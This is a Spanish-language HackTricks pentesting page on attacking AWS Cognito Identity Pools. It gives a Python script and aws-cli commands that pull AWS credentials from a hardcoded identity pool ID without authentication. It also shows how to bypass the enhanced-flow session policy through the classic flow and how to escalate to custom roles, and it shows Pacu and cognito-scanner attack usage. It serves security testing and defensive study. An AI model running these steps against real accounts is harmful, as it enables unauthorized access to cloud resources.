Cognito Identity Pools

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Información Básica

Los pools de identidad desempeñan un papel crucial al permitir que tus usuarios adquieran credenciales temporales. Estas credenciales son esenciales para acceder a varios servicios de AWS, incluidos, pero no limitados a Amazon S3 y DynamoDB. Una característica notable de los pools de identidad es su soporte tanto para usuarios anónimos como para una variedad de proveedores de identidad para la autenticación de usuarios. Los proveedores de identidad admitidos incluyen:

  • Pools de usuarios de Amazon Cognito

  • Opciones de inicio de sesión social como Facebook, Google, Iniciar sesión con Amazon e Iniciar sesión con Apple

  • Proveedores compatibles con OpenID Connect (OIDC)

  • Proveedores de identidad SAML (Security Assertion Markup Language)

  • Identidades autenticadas por desarrolladores

# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Para generar sesiones de Identity Pool, primero necesitas generar un ID de identidad. Este ID de identidad es la identificación de la sesión de ese usuario. Estas identificaciones pueden tener hasta 20 conjuntos de datos que pueden almacenar hasta 1 MB de pares clave-valor.

Esto es útil para mantener información de un usuario (que siempre estará utilizando el mismo ID de identidad).

Además, el servicio cognito-sync es el servicio que permite administrar y sincronizar esta información (en los conjuntos de datos, enviando información en streams y mensajes SNS...).

Herramientas para pentesting

  • Pacu, el marco de explotación de AWS, ahora incluye los módulos "cognito__enum" y "cognito__attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y señalan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte de MFA) y la escalada de privilegios basada en atributos personalizables modificables, credenciales de pool de identidades utilizables, roles asumibles en tokens de identidad, etc.

Para obtener una descripción de las funciones de los módulos, consulta la parte 2 de la publicación del blog. Para instrucciones de instalación, consulta la página principal de Pacu.

Uso

Uso de muestra de cognito__attack para intentar la creación de usuarios y todos los vectores de escalada de privilegios contra un pool de identidades y un cliente de pool de usuarios específicos:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Ejemplo de uso de cognito__enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta actual de AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner es una herramienta CLI en python que implementa diferentes ataques en Cognito, incluyendo la creación no deseada de cuentas y la escalada de pool de identidades.

Instalación

$ pip install cognito-scanner

Uso

$ cognito-scanner --help

Para obtener más información, visita https://github.com/padok-team/cognito-scanner

Accediendo a Roles de IAM

No autenticado

Lo único que un atacante necesita saber para obtener credenciales de AWS en una aplicación Cognito como usuario no autenticado es el ID del grupo de identidades, y este ID debe estar codificado en la aplicación web/móvil para que la use. Un ID se ve así: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (no se puede forzar por fuerza bruta).

El rol no autenticado de IAM Cognito creado a través de se llama por defecto Cognito_<Nombre del grupo de identidades>Unauth_Role

Si encuentras un ID de Grupo de Identidades codificado y permite usuarios no autenticados, puedes obtener credenciales de AWS con:

import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

O puedes usar los siguientes comandos de aws cli:

aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

Ten en cuenta que por defecto, un usuario de Cognito no autenticado NO PUEDE tener ningún permiso, incluso si se le asignó mediante una política. Verifica la siguiente sección.

Flujo de autenticación mejorado vs básico

La sección anterior siguió el flujo de autenticación mejorado por defecto. Este flujo establece una política de sesión restrictiva política de sesión para la sesión de rol IAM generada. Esta política solo permitirá que la sesión utilice los servicios de esta lista (incluso si el rol tenía acceso a otros servicios).

Sin embargo, hay una forma de evitar esto, si el pool de identidades tiene habilitado el "Flujo Básico (Clásico)", el usuario podrá obtener una sesión utilizando ese flujo que no tendrá esa política de sesión restrictiva.

# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

Si recibes este error, es porque el flujo básico no está habilitado (por defecto)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

Teniendo un conjunto de credenciales IAM, debes verificar qué acceso tienes e intentar escalar privilegios.

Autenticado

Recuerda que los usuarios autenticados probablemente tendrán permisos diferentes, así que si puedes registrarte dentro de la aplicación, intenta hacerlo y obtener las nuevas credenciales.

También podría haber roles disponibles para usuarios autenticados que acceden al Grupo de Identidad.

Para esto es posible que necesites acceso al proveedor de identidad. Si ese es un Grupo de Usuarios de Cognito, tal vez puedas abusar del comportamiento por defecto y crear un nuevo usuario tú mismo.

El rol autenticado IAM Cognito creado a través de se llama por defecto Cognito_<Nombre del Grupo de Identidad>Auth_Role

De todas formas, el siguiente ejemplo espera que ya hayas iniciado sesión dentro de un Grupo de Usuarios de Cognito utilizado para acceder al Grupo de Identidad (no olvides que también podrían estar configurados otros tipos de proveedores de identidad).

aws cognito-identity get-id \
--identity-pool-id <identity_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<TU_ID_GRUPO_USUARIOS>=<TOKEN_ID>

# Obtén el identity_id de la respuesta del comando anterior
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<TU_ID_GRUPO_USUARIOS>=<TOKEN_ID>


# En el IdToken puedes encontrar los roles a los que un usuario tiene acceso debido a los Grupos de Usuarios del Grupo
# Usa --custom-role-arn para obtener credenciales para un rol específico
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
    --custom-role-arn <role_arn> \
    --logins cognito-idp.<region>.amazonaws.com/<TU_ID_GRUPO_USUARIOS>=<TOKEN_ID>

Es posible configurar diferentes roles IAM dependiendo del proveedor de identidad con el que el usuario está iniciando sesión o incluso solo dependiendo del usuario (usando claims). Por lo tanto, si tienes acceso a diferentes usuarios a través del mismo o diferentes proveedores, podría valer la pena iniciar sesión y acceder a los roles IAM de todos ellos.

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización